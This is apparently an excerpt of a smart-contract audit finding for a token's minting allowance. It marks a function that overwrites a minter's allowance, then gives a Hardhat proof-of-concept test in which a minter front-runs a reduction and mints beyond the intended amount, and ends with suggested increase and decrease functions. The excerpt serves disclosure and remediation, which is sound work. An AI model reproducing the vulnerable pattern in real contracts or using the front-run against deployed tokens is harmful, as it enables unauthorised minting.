function updateMintingAllowance(
    address minter,
    uint256 minterAllowedAmount
) external virtual onlyRole(MASTER_MINTER) {
    if (!hasRole(MINTER_ROLE, minter)) revert NotMinter(minter);
@>  minterAllowed[minter] = minterAllowedAmount;
    emit MinterAllowanceUpdated(minter, minterAllowedAmount);
}
it('updateMintingAllowance front-run', async function () {
    const initialTotalSupply = await eurftoken.totalSupply();

    // add initial minting allowance
    const initialAllowance = BigInt(1000000);
    await eurftoken.connect(masterMinter).addMinter(minter.address, 1000000);

    // MASTER_MINTER attempts to reduce allowance
    // sends tx to pool to update allowance to 500000
    const newAllowance = BigInt(500000);

    // minter front-run and mints for the total initial allowance
    await eurftoken.connect(minter).mint(bob.address, initialAllowance);

    // MASTER_MINTER tx is mined
    await eurftoken.connect(masterMinter).updateMintingAllowance(minter.address, newAllowance);

    // Now minter uses the new allowance to mint again
    await eurftoken.connect(minter).mint(bob.address, newAllowance);

    // as a result, more tokens than intended were minted resulting in a total supply higher than expected
    const finalTotalSupply = await eurftoken.totalSupply();
    expect(finalTotalSupply).to.equal(initialTotalSupply + initialAllowance + newAllowance);
});
function decreaseMintingAllowance(
    address minter,
    uint256 subtractedValue
) external virtual onlyRole(MASTER_MINTER) {
    // .. other code
    minterAllowed[minter] = currentAllowance - subtractedValue;
    // .. other code
}

function increaseMintingAllowance(
    address minter,
    uint256 addedValue
) external virtual onlyRole(MASTER_MINTER) {
    // .. other code
    minterAllowed[minter] += addedValue;
    // .. other code
}
